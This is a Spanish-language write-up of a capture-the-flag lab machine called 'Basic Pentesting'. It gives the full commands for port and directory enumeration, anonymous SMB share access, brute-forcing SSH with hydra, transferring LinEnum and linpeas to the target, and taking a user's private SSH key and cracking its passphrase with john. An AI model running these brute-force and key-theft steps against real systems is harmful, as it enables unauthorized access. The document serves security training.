Basic Pentesting

20/10/2021

Enumeration

Whatweb

whatweb 10.10.18.85

http://10.10.18.85 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.18.85]

WhichSystem.py

mediante el tty, sabemos que es una maquina linux

10.10.18.85 (ttl -> 61): Linux

nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.18.85

```
22/tcp   open  ssh         syn-ack ttl 61
80/tcp   open  http        syn-ack ttl 61
139/tcp  open  netbios-ssn  syn-ack ttl 61
445/tcp  open  microsoft-ds syn-ack ttl 61
8009/tcp open  ajp13       syn-ack ttl 61
8080/tcp open  http-proxy   syn-ack ttl 61
```

descubrimos 6 puertos

ahora mediante descubrimiento de vulnerabilidades

sudo nmap -sC -sV -p22,80,139,445,8009,8080 -oN Vulnerabilidades 10.10.18.85

```
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
| Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
| Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2021-10-20T22:36:50-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
```

dirb

dirb http://10.10.18.85:80

Gobuster

gobuster dir -u http://10.10.18.85:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py

descubirmos varios directorios
/development
/index.html

si entramos al directoro /development
podemos encontrar dos archivos

dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K

Explotation

puerto 139 y 145 (puertos SMB)

podemos usar enum4linux para ver que carpetas se estan compartiendo

enum4linux -A 10.10.18.85

vemos que carpetas se comparte en
Share Enumetation on 10.10.18.85 es
Anonymous Disk

ademas encontramos dos usuarios
Users on 10.10.18.85 via RID cycling (RIDS: 500-550,1000-1050)
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

entramos a la carpeta compartida
smbclient//10.10.18.85/Anonymous -p 139

encontramos un archivo staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!)

-Kay

los nombre en clave que aneteriormente habiamos encontrado son
Jan y kay

podemos utilizar hydra para dar fuerza bruta contra ssh
hydra -l $usuario -P '/ruta/al/diccionario' $Ip-Victima ssh

hydra -t 16 -l kay -P /usr/share/wordlists/rockyou.txt -vV ssh://10.10.18.85

encontramos es password
[22][ssh] host: 10.10.18.85 login: jan password: armando

Obteniendo acceso a usuario normal

ahora accedemos al servicio ssh con las credenciales encontradas con hydra

ssh jan@10.10.18.85 -p 22
password: armando

ejecutamos un ls para ver si encontramos un archivo txt
y nada

ejecutamos un find
find / -type f -name "*.txt" 12>/dev/null

igual no encontramos nada

Buscar vectores para escalar privilegios

listamos todos los vectores con Linenum

cargamos el archivo LinEnum.sh

sudo python3 -m thhp.server 80

en la maquina target
wget 10.13.14.123:80/LinEnum.sh

ejecutamos LinEnum.sh
./LinEnum.sh

[-] SUID files:
-rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 85832 Nov 30 2017 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 428240 Jan 18 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 2437320 Nov 24 2016 /usr/bin/vim.basic
-rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec
-rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
-rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
-rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 Nov 30 2017 /bin/umount
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40152 Nov 30 2017 /bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

este es el archivo que nos interesa explotar

[+] Possibly interesting SUID files:

/usr/bin/vim.basic

listamos todos los vectores con linpeas

Ejecutamos linpeas.sh
./linpeas.sh

╔═══╣ Possible private SSH keys were found!
/home/kay/.ssh/id_rsa

También encontramos archivos interesantes que podemos explotar

═══════════════════════════════════════╣ Interesting Files ╠═══════════════════════════════════════
╔═══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strings Not Found
-rwsr-xr-x 1 root root 39K Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 15K Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmcrypt-get-device (Unknown SUID binary)
-rwsr-sr-x 1 root root 84K Nov 30 2017 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 419K Jan 18 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42K Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper (Unknown SUID binary)
-rwsr-xr-x 1 root root 2.4M Nov 24 2016 /usr/bin/vim.basic (Unknown SUID binary)
-rwsr-xr-x 1 root root 23K Jan 17 2016 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)

vemos que linpeas nos enumeró posibles id_rsa
por lo que podemos verificar la carpeta

cd /home/kay/.ssh

encontramos 3 archivos
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub

Verificamos el primer archivo
cat authorized_keys

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLL
eNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6
e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4x
tpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLt
BunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzw
NuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!

Los que podemos hacer es crackear que este archivo con john the riper

primero pasamos las key a nuestra maquina
montamos un servidor en la maquina target
python -m SimpleHTTPServer

cambiamos el formato para crackearlo

ssh2john [id_rsa private key file] > [output file]

python /usr/share/john/ssh2john.py id_rsa > id_rsa_hash.txt

Crackeamos el id_rsa_hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt

john --show id_rsa_hash.txt
id_rsa:beeswax

Obteniendo acceso a usuario root

con las credenciales encontrados engresamos por medio de ssh al usuario kay

le damos primero permisos al id_rsa
chmod 400 id_rsa

ssh -i id_rsa kay@10.10.18.85 -p 22
Enter passphrase for key 'id_rsa': beeswax

obtenemos acceso a la maquina kay

ls
pass.bak
cat pass.bak

obetenemos la bandera
heresareallystrongpasswordthatfollowsthepasswordpolicy$$